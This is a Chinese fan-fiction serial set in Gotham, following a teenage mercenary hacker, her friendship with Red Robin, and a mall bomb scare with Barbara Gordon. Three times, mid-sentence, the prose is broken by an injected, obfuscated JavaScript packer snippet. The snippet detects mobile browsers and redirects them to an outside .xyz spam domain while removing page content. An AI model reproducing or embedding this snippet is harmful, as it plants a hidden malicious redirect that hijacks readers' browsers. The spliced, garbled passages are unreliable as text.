《综英美 黑客哥谭生存手记》 1. 第 1 章 1 天才是孤独的,是不被理解的,是和他人格格不入的。 而你,作为一名公认的天才,是注定要承担起一些不属于你的重担。 在被蝙蝠侠破窗而入反剪住双手摁在地上时,你深沉地想道。 活跃的内心世界不妨碍你从善如流蹲到墙角,在对方经过电流修改后的嘶哑喉音中恭恭敬敬奉上近期的雇主名单。 虽然不知道究竟是哪个雇主惹了事,但是管他的呢,死老板不死你,毕竟你只是一个坐电脑椅的柔弱黑客。和哥谭那些喊着“蝙蝠侠”便冲上去的本地人不一样,你对于这种城市传说还是抱有最基本的敬意的,尽管那是出自你对于自己这条小命的珍惜。 看看他的大腿,看看他的臂膀! 光是今天这一个反绞就足够你事后龇牙咧嘴恢复好一段时间了,更别提被蝙蝠侠打一顿。 你可没有本地人那么出色的体质和恢复速度,蝙蝠侠一拳下来就只能安详地躺在地上,而你的天才大脑会喜提轻度脑震荡起步的伤情。 2 你过于识时务的态度似乎也震惊到了蝙蝠侠。 他诡异地一顿,义警高大健壮的身影在墙面上投射出足以笼罩住两个你的阴影。蝙蝠侠露在面罩外的下巴绷得死死的,佩戴的微型通讯器传来了什么消息——别问你怎么知道的——他松开钳制住你的双手,冷硬的面具出现微不可查的松动,只有一点点,只是对比下来已经算很明显了。 你好像知道这是为什么了,但你绝对不会感谢那个人的! “三天前罗宾逊码头丢失了一批商品。” 他沉声道,面具后的目光依旧锐利,仿佛要将你从内到外剖开,再用他的眼神将你钉在墙面上。 特地走罗宾逊码头的商品自然不是什么能够光明正大出现在购物清单上的东西,买家如何震怒先不提。搅局者追查了两天整,线索兜兜转转又指回原地,仿佛那批货物突破了生物奇迹,自己长出双腿跑路了。 有尊严的硬气黑客在这个时候会大呼“冤枉啊”,可你不行。 3 你一不硬气,二——没错,这还真是你干的。 4 不过这种说法不够精准,你只是受雇黑入附近所有监控,远程操控运输车装走所有货物,并将其送达指定地点。 你相信自己绝对没有在网络上留下任何痕迹,无他,单纯出于对自己技术的自信。你替换掉了每一帧监控画面,而原始数据被粉碎成了一堆1和0,比你未来的骨灰还要细碎。 那么此刻蝙蝠侠是怎么精准把你圈入嫌疑人范围的? 这个疑问在你心中已经得到了回答。 你恶狠狠地磨了磨后槽牙,满心憋屈将任务记录和老板信息一同打包发给某个暴露你的罪魁祸首。 “相关信息我都发过去了。”你干巴巴地试图辩解,“我只是接了个单而已,这种事情应该没到要把我当场逮捕的地步吧?” 如果蝙蝠侠真的闲到连黑市上的正常交易都要管,那么他一天有四十八个小时都不够用,而黑门监狱里会蹲满雇佣兵和你的同行,那里将一举超过印度火车成为平方人口数最密集的地方。 好在蝙蝠侠也并没有要管的意思。 在通过耳麦确认对面接收到那些消息后,他扔下一句警告,披风扬起,再落下时你面前已经没有人影了。 只留下你和满地的玻璃碎片面面相觑。 月光清凌凌从毫无遮挡的窗户洒进来,好在这是八月份的哥谭。但是高层的风呼啸着刮进这扇窗户,和扇你大耳光也没什么区别。 5 很好,蝙蝠侠走了,现在就是你报仇的时候了! 6 你撑着墙从地上爬起来,胳膊刚一用力,便失去了表情管理,疼得五官在脸上乱飞。 靠!刚才肯定扯到筋了! 你骂骂咧咧坐回电脑桌面前,预约好明天重装窗户的工人后,立马切入一个私密通讯频道,飞快打起字来。 【AA知名奸商】我恨你!!! 【AAA知名奸商】就是你小子把蝙蝠侠引过来的是吧! 标着“未读”的消息从变成“已读”只花了两秒不到,紧接着对面便立马跳出回复。 【能量饮料重度依赖】:p 【能量饮料重度依赖】我只是和B提了一嘴你那里可能会有线索,毕竟收尾这么干净利落毫无破绽的方式,想想也找不出第二个人。 【能量饮料重度依赖】只不过没想到真的是你做的:-O 用什么符号表情呢,你才不会吃这套! 你用力搓着键盘,所有的怒气都在上面发泄出来,键帽与机械键轴共奏出清脆的节奏,化作含着你满腔怨念的控诉。 【AAA知名奸商】解释也没用!你完了,我宣布的! 【AAA知名奸商】你的游戏存档没了! 你说到做到,在扔下这番宣言后没多待一秒,翻出存着代码的u盘插上主机。房间中的嗡鸣从不停歇,散热器一刻不止地运行,网络端口的蓝光呼吸般明灭着,撑起数据奔流的电子长河。 骇入后台删掉红罗宾的所有游戏存档后,你仍然不解气。 你端起旁边的碳酸饮料一饮而尽,身体往后一往,整个人栽入柔软但支撑力十足的电脑椅中,双腿蹬着瓷砖地面,让电脑椅慢悠悠转起圈来。 7 和红罗宾的认识是个意外。 没错,那个用着能量饮料作为网名的家伙也是这个哥谭市义警中的一员。 你向来深谙赚钱和保全自身之间的界限,主打一个生财有道,绝对不会主动去招惹这类超级英雄,每次接单后也是勤勤恳恳清理掉所有自己的痕迹。 你的严谨给了你应有的回报。 在银行卡上的数字以美妙的速度增长着的同时,你本人的现实身份依旧是干干净净的良民一枚。 直到你回到哥谭。 直到你第一次深刻认识到哥谭独特的风土人情。 一次平平淡淡的委托任务——老板要求你骇入韦恩集团的安保系统。 没问题,尽管韦恩的防护系统比常规企业要好上不少,对于你来说也算不上什么棘手的任务 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502768|186031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 你卡着时间完美完成任务,并且在当晚的手机新闻上看到了布鲁斯·韦恩晚宴当场被绑架的头条,后面紧跟着红罗宾营救成功的消息,你短暂欣赏了一下配图上韦恩董事长那张美貌的脸,随后看过即忘记,完全没想到这会给自己的未来带来怎样翻天覆地的变化。 你只是一个柔弱可怜的技术人员,布鲁斯·韦恩被绑架和你有什么关系? 8 直到第二天你采购完回家,一打开门,穿着紧身衣的义警坐在你精挑细选的沙发上,被多米诺面具掩盖了一半的脸冲着你扬起一个兴味十足的笑容。 你确实清理掉了自己的骇入痕迹。 但是你万万没想到这个世界上还有出卖乙方的甲方!甚至是被打了一顿后就火速滑跪,甚至对面还没开口问,就马不停蹄把底裤都要抖露出来的甲方。 你恨这个世界! 你发誓再也不要接熟人介绍过来的单子。 也许是同为少年黑客的惺惺相惜,也可能是你主打数量不求质量的杂乱信仰终于起了作用,你并没有像想象中那样被打一顿后挂到哥谭警局的门口,至少现在想想当时的氛围竟然还能算平和。 名为红罗宾的义警语调平静地和你交谈,问询,最后发给你一个名为《哥谭市注意事项与专业人才引进条例》的文包。 你一目十行扫完重点内容,眼神茫然又迷惑。 “认真的吗?这真的不是什么叫做哥谭生存守则的规则类怪谈吗?” 他似乎闷笑了一声,随即正色:“总之,不想进黑门监狱的话你最好认真遵守上面的限度。” 这就是哥谭吗? 你大受震撼,谦虚地学习起哥谭人。 忽略掉蝙蝠电脑中以你黑客代号为名建立的文件夹——尽管你有意识清除自己在网络上留下的痕迹,可你还是要在现实中生活的,介于你目前还没有发明出黑客帝国里的神经插针技术,无法清除掉别人的记忆,所以义警在有意识地搜寻下还是得到了足够的信息——你也算是开始融入了这个城市。 指养成工作留痕习惯,完成委托后立马归档,争取在老板出卖你之前先出卖老板,绝不给自己留再被背刺的机会。 9 顺带一提,蝙蝠电脑里的档案写得真好,你在浏览后愉快地复制了一份回来,去掉其中涉及个人隐私的部分后,当做自己新的个人简历挂在了黑市接单的论坛上。 10 总之,你和红罗宾的关系就这样在你骇入我设备我反骇入回去的过程中诡异地得到了升温。在习惯性的“技术交流”外,你们有时也会就着杂事聊聊天,有空的时候约着打几把游戏,成为勉强算是朋友的关系。 红鸟在飞过哥谭市的高楼灯火与雨幕后,偶尔会短暂停留在你的阳台上;而数字洪流中的幽灵则会心照不宣地悄悄分出一支,碾过光与电,将那些藏在1与0之间的秘密隐蔽送到红鸟的羽翼下。 11 不过现在,你宣布你和红罗宾的友谊破裂了。 狡诈的!可恶的!红罗宾!你再也不要相信他们哥谭人了! 2. 第 2 章 1 你发誓的决心无比坚定,你发誓的声音格外郑重。 如果你们有共同好友,那么此刻所有人都会收到你和红罗宾决裂的短信。可惜你们没有,你只能退而求其次,自来熟地接入企鹅人据点的投影屏,不顾对方一脸的震惊和愤怒,强行和企鹅人上演美高经典剧情。 尽管他不是很符合共友这个定义,可是现在整个哥谭市同时知道你和红罗宾的人,基本上都在阿卡姆和黑门监狱里了,好不容易才拎出来这么个幸存的。 不过估计要不了多久对方也要进去了。 噢,现在还多出来个蝙蝠侠。 那没事了。 机器小人在屏幕上蹦跶,企鹅人在对手下怒吼。 经过电流转化后的声音彻底失去辨认性,机器小人摆出了忧郁的神情。 “企鹅人,以后有搞红罗宾的事记得叫上我。” 企鹅人骂骂咧咧:“废物,关不掉就去把网断了啊!” “我现在和红罗宾之仇不共戴天,找我的话我可以给你打九九折。” 企鹅人无能狂怒:“什么!连网都不会断?!那就关电闸啊!这种事情还要我教你们?!” 你叹气,很是不满地敲敲桌面:“笨杰克,你怎么不认真听人说话?这太没礼貌了!” 难道九九折还不够吸引人吗? 你可是从不给人打折的奸商,这已经算是很大的退步了,足以得见你报复红罗宾之心的坚定。 “到底是谁不礼貌?!一个随随便便骇入别人设备的家伙怎么说得出这种话!”企鹅人气昏了头,“还有,那个破称呼是怎么回事?!” “这可是昵称,别人还得不到这种待遇呢。” 你摇摇头,感叹他不懂你。 “总之,就这么说定了。笨杰克,有机会记得叫我。” 你扔下这句话便自顾自地切断了视频,将企鹅人“谁和你说好了”的怒吼扔在一边。 唉,企鹅人。 唉,哥谭人。 唉,这排外的城市。 你三连叹息,双手交叉撑着下巴,摆出经典思考姿势,大脑中酝酿起以字母表为排序的报复计划。 永远不要将主动权放在别人手里,你坚信这点,等待机会不如自己主动创造机会。 2 永远不要放任一个睚眦必报并且有能力将离谱计划付诸现实的人自由思考——红罗宾坚信这点。 挑选道歉的时机也是一门关键课程。 不能去太早,否则会刚好赶上你正在气头上的时刻;但也不能给你过多的时间来发酵情绪,不然迎接他的说不准就是什么了。 红罗宾在这方面拥有不可动摇的经验和发言权。 他曾经被你远程遥控炸掉了三个臂甲内置的微型平板,爆炸精准损坏了设备,却没有给他造成任何设备外的伤害,而在此之前你甚至完全没有接触过他的义警制服。 你的实施方法至今都是他的年度未解之谜。 不过现在不是思考这个问题的好时候。 阿尔弗雷德将精心打包好的三明治放在蝙蝠电脑的操作台边,提姆捏捏鼻梁,一口气灌完提神饮料,诚恳地和贴心的管家道谢。 “阿福,麻烦你了。” 在这个家里,阿福总是第一个发现孩子们秘密的人,甚至比蝙蝠侠还要快上一步,他永远默不作声地在不远处看着,然后在家里人需要帮助的时候递上早就准备好的东西。 其实他从来没主动和韦恩家提到过你的存在,提姆想,然而阿福就是有能力发现他最近似乎多了一个关系不错的往来对象。 老管家总是这样关切注视着家里的每一个成员。 3 清早,一只小红鸟扑腾着翅膀飞进你家。 你一度怀疑红罗宾的战术靴有参考猫咪肉垫的设计,不然怎么解释一位成年男性是怎么做到如此悄无声息翻进你家的。 天知道你前脚打了个哈欠,后脚睁开眼就发现显示屏的倒影上多出来一个身影时,那一刻的心情是有多么惊恐,这和恐怖片里的扭头被怪贴脸有什么区别? 你险些以为自己熬夜太过,死神终于打算来收了你。 “你知道根据哥谭法例我可以主动用致命武器驱逐擅闯个人住宅者吧?” 显示屏在你眼底打下幽幽的蓝光,伴随着话音落下的是“咔哒”一声,你神色幽幽,双手握紧黑洞洞的物体瞄准他。 如果那不是一个还闪烁着蓝光的鼠标的话,红罗宾表示他会愿意在此情此景下配合你佯装一下。 但此刻他光是控制住自己想要上扬的嘴角就已经花了很大自制力。 当面笑出来的话,你绝对会恼羞成怒。 他半蹲在只剩金属框的窗户上,以合金制成骨架的羽翼披风垂落在身后,仿佛真的只是一只歇脚的小鸟,恰好挑中了你家而已。 他抬起右臂,内嵌的的折叠触控屏投映出你昨晚才下的维修单。 覆盖住眼部的白膜冲着你眨了眨:“这可不是擅闯,我只是接到了顾客的窗户修理单。” “我记得我是给品牌售后部下的单。” 你不吃这套,双手环胸冷哼一声。 红罗宾面不改色:“很遗憾,那家家具公司是韦恩企业旗下的。你知道的,我们这种靠韦恩资助的义警是无法拒绝资助方的一点小小要求。” 当面驴你呢? 这话除了第一句外,剩下的拿去忽悠五岁小孩都要收获对方看智障的眼神。也不对——你想起了哥谭本地论坛上的一些奇妙发言和文学作品——说不定还真有人会信。 毕竟那是能对着蝙蝠侠发出“公说公有理,我说嬷嬷你”发言的哥谭人,他们的脑回路一度让你都觉得邪门。 但你是不会被一点小恩小惠收买的! 4 你冷脸看着红罗宾修好你家的窗户,顺手将碎玻璃打扫干净,又把他和蝙蝠侠擦出来的灰尘擦干净,眼看着对方下一步就要入侵你的厨房,你再也憋不住。 “你想要谋杀我就直说!” 你满脸惊恐,忙不迭在他试图打开燃气灶前两三步跨过去拦住他。 你向来对自己的厨艺有自知之明,热热半成品,做点不需要复杂烹饪的东西还行,成果也只能说可以吃,吃不死人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502769|186031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差不多糊弄下也就行了。 可是红罗宾的出现让你产生了一种“自己的厨艺也不是那么差”的错觉。 如果说你尚且是饿不死自己的水准,那么他就是只能靠袋装葡萄糖和营养棒过活的水平。 上一次你放任红罗宾进你家厨房的后果就是含泪报废两个陶瓷锅以及大理石台面。 红罗宾提起塑料袋在你面前晃晃:“我只是想热热三明治而已。” 尽管面具遮住了人类用来传达情绪的主要部位之一,你依旧从他身上读到些许无辜意味——很明显的故作无辜。 你一把抢过塑料袋,也顾不得之前的发誓,连推带挤地将他往外面推,塑料袋在手中发出哗啦啦的摩擦声。红罗宾投降似地举起双手,能痛殴罪犯的义警此刻像只小猫样顺着你的力道走出厨房。 “只是用下微波炉而已,加热食物是基础生存技能,好歹对我有一点信心?” “闭嘴,我是不会再相信你的!” 你用动作表达了自己的决心。 你胡乱扯开三明治的包装,加热用的瓷盘被放进微波炉时和玻璃转盘碰撞出清脆声响。关上微波炉门,摁下加热启动键,一气呵成,坚决不给红罗宾一点插手机会。 微波炉内亮起黄色灯光,食物的香气随着托盘的转动渐渐充盈在厨房内。而你抱着双臂和红罗宾对视——准确来说是盯着他多米诺面具白膜的部分,不确定他究竟有没有看着你——不得不得挫败地承认自己之前的发誓并没有得到有效的实施。 除去和企鹅人单方面约好的报复部分。 你们的友谊该死的牢固! 他比你写出来的辅助ai还要懂怎么让你消气。 红罗宾熟稔地窝进你的沙发,右手往靠背后一摸,就掏出了你找了许久都没找到的游戏手柄,智能家居在声控下打开游戏画面,他自然切进另一个存档,单手扣开可乐拉环。 惬意得仿佛这里是他的安全屋。 你板着脸将热好的三明治端出来,将其中一个推到他的面前。 红罗宾摘手甲的动作一顿:“你知道这里能看到厨房里的画面吧?而且你家还是开放式料理台。” 更别提属于芥末的绿色已经从吐司片的边角溢了出来。 他掀开三明治顶部的吐司片,致死量的芥末和夹在其中的生菜几乎融为一体。 你皮笑肉不笑:“那你也知道我家有很多信号探测仪吧,你猜它们现在是不是正在滴滴直响?” 红罗宾默不作声抬起手在嘴前拉上不存在的拉链,认命地将沾满芥末的生菜叶挑出来。 你没做声。 他谨慎地挑选了一个角落,一口下去,红罗宾咀嚼的动作突兀顿住,慢放般一帧一帧艰难吞咽下口中的食物。 如愿以偿看到这幅画面,你终于吐出一口气,身心舒畅,只差没把幸灾乐祸几个字写在脸上。 哈!没想到吧!表面的芥末只是幌子而已,你的真正杀招是藏在火腿片中的辣椒油! 你嚼嚼嚼,愉悦地看着他开始猛灌可乐。 三明治真好吃,配着这幅画面真下饭,嘻嘻~ 3. 第 3 章 1 吃完三明治,你毫不留情地将红罗宾赶出了你家。 就算你勉强原谅了他,你们之间也不是那种温情的友谊相处模式。这世界上有两种朋友,一种是在对方说着我好冷时会脱下外套给对方的类型,另一种则是会回答我知道但我没法控制天气的类型。 你们是第三种——会立马开始疯狂往对方身上扇风的类型。 蝙蝠系义警就该晚上才出没,白天没突发事件却出现在哥谭市民家是ooc了懂吗!虽然不知道o的是哪门子的c——可能是蝙蝠的生物习性吧——但是你不讲道理。 2 目睹红罗宾不走正门再次踩着你的窗户离开后,你满脸嫌弃擦掉窗棱上的脚印,扭头在合金页上一摸,米粒大小的设备被你随手揣进衣服兜。 紧接着你回头拿出频谱分析仪,把家里他经过的地方都挨个扫描一遍,果不其然,收获了五颗监听器三颗定位器。 你不得不感慨一声韦恩集团的财大气粗,不然怎么支撑得起红罗宾这种每次来都给你留下点造价不菲的小礼物的行为。其实一开始他还没这种习惯,毕竟你不是什么需要严加看守的罪犯,红罗宾也没有闲到天天监听哥谭市民的地步,他也只有在最初以示敬意般象征性留过一个监听器。 直到某次你当着他的面读出哥谭本地论坛上某位不知名人士发的以红罗宾为主角创作的短篇小说,里面用极大的篇幅塑造出一个stalker的形象,作者在文尾还控诉了这种入侵极少数哥谭市民隐私的行为。 红罗宾面对你声情并茂的朗读没发表任何意见,他只是微微一笑。 从此以后,但凡他来过你家,都要留下点这种小礼物,用行动贯彻你对他的调侃。他放你拆,你拆他放,简直像一个乐此不疲的小游戏。 而定位器的增加则是因为你之前不小心溜达到了哥谭最混乱的地方。毕竟太久没在哥谭待了,对这个城市的风土人情都没正确认知了。红罗宾痛击完罪犯,刚收起长棍,夜色下一个熟悉的脑袋就从集装箱后面探了出来。 你面不改色地对他说嗨,还在努力抬起被手铐扣住的双手对他打招呼。 于是小礼物中又多出来了定位器。 3 你曲起食指敲了敲其中一颗监听器:“接收频道发过来。” 没多久,兜里的手机一震,你就知道他肯定听到了你说的话。 你掏出手机慢悠悠地接入频道,定位器和监听器各留下一颗,其余的全部塞进外套兜里,打算二次利用。 就算在黑市上买这些东西也要花不少钱呢。准确来说就是因为是黑市,所以有的东西才那么贵。 作为一名勤俭持家的人士,你从来不会放过这种省钱的机会。 所以让我们说——感谢红罗宾的馈赠。 你像模像样地用手在胸前划拉出一个十字,状似虔诚祷告了两秒。 4 好了,属于黑客幽灵的时间到此结束,现在你得切换成现实生活的身份去接受阳光的殴打了。 在哥谭这种地方,阳光和老实人一样是稀缺物。 这座城市以哥特式建筑和阴雨天为基调,塑造出阴暗的色泽。偏偏每次你需要出门的时候,太阳就跟打了鸡血似地普照大地。你都要开始共情吸血鬼了,因为这个天气的太阳晒到你也会惨叫。 可惜你终究不是真正的吸血鬼,所以也没法拿这个为理由拒绝芭芭拉约你出门的邀请。 芭芭拉·戈登,你在哥谭为数不多能称之为亲近的人。 作为比你大上一些岁数的年长方,她向来是那个对你多加包容的一方。不管是你小时候那些堪称臭屁,说出来会被十个同龄人围殴的发言,还是你天马行空跳跃到极致的思维,她都一视同仁地接受良好。 哪怕你之前搬离哥谭了,你们也维持着频率不低的联系。 所以当她以逛街的名义约你出来的时候,你怎么能拒绝她?尤其是在你心知肚明她只是借这个由头让你多出来走走的情况下,你更加没有推脱的理由了。 拜托,人家可是还坐着轮椅呢! 你只能痛苦地用外套兜帽遮住过于刺眼的太阳,冤魂一样飘向约好的目的地。 5 芭芭拉发来的定位导航停在商场前,你抬起头,一头火红的长发比阳光更先撞进你的眼睛。 尽管这个标志已经足够明显,你还是眯起眼睛,直到视线中在光晕下显得模糊虚幻的人影慢慢清晰起来,才挥着手回应了她。 没办法,长时间面对电子屏幕就是这样的。 偏偏你不喜欢框架眼睛的佩戴感觉,又因为眼睛敏感而无法佩戴隐形眼镜。只能接受这种自动打码加美颜的生活,五米之外男女不分,十米之外人畜不清。 医生说你眼里有光,哈哈,原来是散光。 “卡莉。” 你走过去弯下腰,和芭芭拉交换了一个拥抱,双手自然地摁在轮椅推把上,一用力。 ……没推动。 芭芭拉笑出声:“我自己来吧,这是电动轮椅。” 你灰溜溜松开手。 可恶!总有一天你要让你叔给你整点外骨骼机甲来! “最近还是老样子?” “嗯,在家里接点线上工作而已。”你含糊其辞,对于自己工作内容的相关信息一点没提,“就赚点零花钱,反正我在家里也没事干。” 只不过这个零花钱的数目不那么常规罢了。 玻璃门自动打开,轮椅在商场的瓷砖地板上碾压出咔哒声。芭芭拉轻车熟路进入一家女装店,拎起一件衣服对着你比划。 你耷拉着一张脸生无可恋的样子明显让她觉得很有意思。 她冷不丁道:“那大学呢?” “艾登叔叔又找你说什么了?” 从焉巴巴到精神抖擞只需要一句话的时间,你立马警觉得像是被踩到尾巴的猫。 你算是半个失学人士。 也不能这么说,你还是有好好上完高中拿到毕业证的。只不过在升入大学的阶段,你无视了艾登的想法,以gap以理由一直拖到现在,而你的叔叔显然更希望你能够常规一点按部就班至少拿个大学毕业证。 “也没说什么。” 芭芭拉将那件衣服放进导购篮中,才慢慢悠悠继续开口。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502770|186031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你知道艾登有时候会给我爸爸打电话吧?我只是在晚饭的时候无意听到了一些而已。” 你试图将那件颜色过于柔软的外套拿出来,被芭芭拉一个眼神制止。 她对你一笑,眼尾挑起欢快的弧度。 你发誓你对芭芭拉的笑容没有任何意见。哪怕没有你的近视眼加成,她也是一个不折不扣的大美人,至少刚才在走进商场的时候你已经注意到有不下五个人频频回头看她。 但是根据你的经验来讲,每次芭芭拉对你露出这样的笑容,就意味着你要倒霉了,还是倒大霉。 “艾登给你办了哥谭大学的旁听证,亲爱的。” “!” 哈哈,你一定是熬夜熬出幻听了。你想。 刚才芭芭拉说什么来着? “艾登这次的决心很坚定,你逃不过去的,卡莉。” 芭芭拉摸了摸你的脸侧,态度之爱怜,宛若在揉搓一只瑟瑟发抖的小动物。她把你本就蓬松的头发搓得像是小绵羊卷卷的毛,才轻轻掐住你的脸颊。 你试图把眼睛睁出圆溜溜的形状,摆出无辜又委屈的样子和她对视。 芭芭拉不为所动:“你知道的,他一直很担心你。” “我和爸爸也是。”她补充道。“你以前很喜欢芭蕾的,但是你有多久没碰过舞鞋了?或者我该换句话说,你的那些舞鞋尺码真的还合适吗?” 你无法反驳。 你当然知道,你是最好的骇客,从不遗落互联网中的任何一丝线索,自然也不会漏掉身边人欲言又止下的担忧。 “……好吧,我投降。” 你认命低下头,将脑袋主动抵进她的掌心中。 你拒绝不了这些,来自亲人和好友的关切总是能够轻而易举将你拉入棉花糖的包围中。那些柔软的,甜蜜的情感包裹着你,短暂隔绝掉永不停歇的怒火。 反正旁听几节课也用不了多久,你还有大把时间来处理你想做的事情。实在不行你还可以逃课, 芭芭拉拍拍你的脑袋:“好了,现在再去挑几件衣服吧,入学总得备几件新衣服,不是吗?” “只是旁听而已,我还没决定呢。” 你嘟嘟囔囔。 “不要全是黑色系的。” 你悻悻放下随手拎起来的衣服。 按年龄来说你也还可以赶个青春期的尾巴,叛逆的青少年不喜欢鲜艳的色彩不是很正常的事情? “黑色多方便啊,又不显脏又好搭配。” 对于这点芭芭拉表示同意,可是这不妨碍她对你的衣柜进行言辞犀利的批判。 “但那不是你天天穿得像是要去参加葬礼的原因,哪怕是爸爸,都有几件不同颜色的格子衬衫换着穿,你——” 你看见她的面色蓦地冷凝下来。 芭芭拉将脸颊边的红发捋到耳后,深吸一口气。包裹轮椅扶手的黑色皮质材料被她捏出深深凹痕,指尖在上面急促地敲击着。 她看向你:“卡莉,帮我去外面的冷饮店带一份冰美式,好吗?” 没有原因,突兀地转移话题。 视线从轮椅挪开,你只是眨眨眼:“好。” 4. 第 4 章 1 你在冷饮店找了个好位置。 靠窗的座位和商城正门相对,可以将不远处的场景尽收眼底。除了芭芭拉要的冰美式外,你又随意勾选了一款饮料,看着店员走回料理台后,你才一把撸起左臂外套的衣袖。 臂载终端自动亮起,笔触质朴的机器人形象迅速生成完毕。你摸出一副厚重的框架眼镜戴上,莹蓝色的数据流在镜片上一闪而逝。 AI冰冷的电子声通过耳机向你传达信息:“周围监控已接管。” “好了,现在来看看到底是怎么回事吧。” 你小声自言自语,十指翻飞,一连串指令代码如流水般从你指尖流淌出来,飞快融入二进制的洪流,在无形的网络中以恐怖的速度漫延开,贪婪攥取着周边的所有信息。 商城中的监控画面被分成数个小小的格子出现在镜片上,又被你迅速地挨个划掉。 临走时扔在商场里的监听器还在发挥余热,你听见芭芭拉拜托导购员帮忙去挑一双能够搭配衣服的鞋子,而轮椅上定位器的红点正在缓缓移动,向着和导购员完全相反的方向。 一条短信突然从视野的右上角蹦了出来。 【能量饮料重度依赖】:你在这里? 他发来了一串坐标定位。 啧,忘记红罗宾也在定位器的接收频道里了。 你边分神回他的消息,边让AI开始检索商城的监控数据中今天出现过的异常信息与人士。 【AAA知名奸商】:怎么?不要告诉我年久失修的阿卡姆终于又跑出来了一批罪犯并且打算在这里开个狂欢party,并不想被邀请哈。 【能量饮料重度依赖】:好消息并不是阿卡姆里的精神病,坏消息是确实会有个party,能把商城里所有人都送上天的那种,商场清洁工在打扫的时候发现的。 “……” 你头疼地捶捶额角:“AI,拉响火警警报。” 怎么回事,你不是出来和芭芭拉逛街的吗,怎么现在在这里打起白工,做上好人好事了? 当然,你知道红罗宾的本意只是好心提醒。 毕竟换作是你,当发现自己那除了头脑外就是个脆皮,发生肢体冲突绝对是第一个安详躺地的朋友出现在危险现场时,你也会立马发消息提醒他。 尖锐警报撕裂空气,悠闲惬意的氛围刹那被打破。你遥遥看着第一个人急匆匆奔跑出商城旋转门,紧随其后的人流将每个出口都挤得满满当当。 哥谭市民的优秀品质——只要警报响了,不管三七二十一先跑再说。警报是不是真的不重要,但不能拿自己的小命来赌一个假的可能。 好吧,至少没有疏散人群的烦恼。 等到只商城门口只剩几个稀稀拉拉的人影后,你才敲敲终端:“扫描楼层,将有人在层数标记出来,把监控画面给我。” AI尽职尽责执行起你的要求。 满满当当的视野范围被一键清空,着重标红的几个监控画面重新出现在镜片上。这个时候还留在商场里的人自然不会是什么无辜市民,噢,某个红发女性除外,这是热心市民。 仿生飞虫设备从你的背包中振翅起飞,冲着标红楼层径直而去。 当它到达第一个目的时,地上已经倒着一个昏过去的大汉。 噢,她的动作真快,你抽神想着,所以有时候她总是对你多加保护也不是不能理解,毕竟以她的战斗力来换算,你就是新手村那个每次遇上大事件第一个打出GG的脆皮npc。 你真的怀疑哥谭市对本地市民有些奇怪的加成。 这种人均武力充沛,七十岁老太太都能拎起拐杖暴揍劫匪的地方,对于你这个脑力人士来说太不友好了。 飞虫慢悠悠停在黑色包裹上,隐藏的节肢伸出,机械复眼收缩,对准包裹内容物,从摄像头传来的放大画面呈现在你的眼前。 嗯——看来是双重引爆机制,怪不得还留了点人在这边。不过现场人士都被打晕了,你需要解决掉这个遥控装置就行。 这不正好是你的老本行? 你指尖有一搭没一搭地敲着臂载终端,操控飞虫认真解析着遥控装置的构成。 看上去倒不怎么复杂,强制降频攻击使信道返回就行,没什么难度。 你漫不经心拉出另一个操作屏,机械飞虫化作你的另一双手,将那些落在触屏上的操作在现实中精准复现。 炸弹显示屏上的光蓦然一暗。 好了,现在去解决下一个吧。 ——唔,以防万一。 飞虫在前往下一楼层前落在倒地大汉的后颈上,节肢中窜出电流,击穿皮肤。对方的身体猛地一颤,进入了更深一层的甜美睡眠。 2 GCPD的警车呼啸着在商城外停下,套在厚实防爆服里的拆弹警员举着防爆盾冲进商城。 落下的衣袖遮住尚有余温的终端,你用力伸了个懒腰。 一层细密的水珠凝结在冰美式的杯壁外,顺着重力缓缓下淌。你端起给自己点的那杯饮料,灌了一大口。 酸甜的气泡水在口中炸开花,芭芭拉终于姗姗来迟。 她的红发有些许凌乱:“抱歉,刚才商场里好像出了一点小意外。不知道怎么回事警报响了,大家都在跑,我被人流夹杂着一起带到其他地方去了。” “我看到警车停在对面了,芭芭拉你没事吧?” 你起身走到她旁边,关切地握住轮椅推把。手指状似不经意拂过靠背,回收掉一点小证据。 芭芭拉拿起冰块已经化完的冰美式,脸上露出安抚性的笑。她没察觉到你的小动作,揭开杯盖抿了一口。 “放心吧,我要是有事的话你就该是在救护车上看到我了。就是可惜了,看来今天没法继续逛街了。” 对于这点,你倒是觉得一点都不可惜。不行,不能喜上眉梢! 你尽力做出一副遗憾的样子:“对啊,真是太可惜了。” 芭芭拉似笑非笑地看了你一眼,变魔术般从身后拎出来两个硬纸袋。柔软的织物从袋中露出一角,那个颜色怎么看怎么眼熟。 “不过之前在商场里给你比划过的那几件衣服我已经买下来了。” 她好整以暇道。 从暗喜到垮脸只需要一句 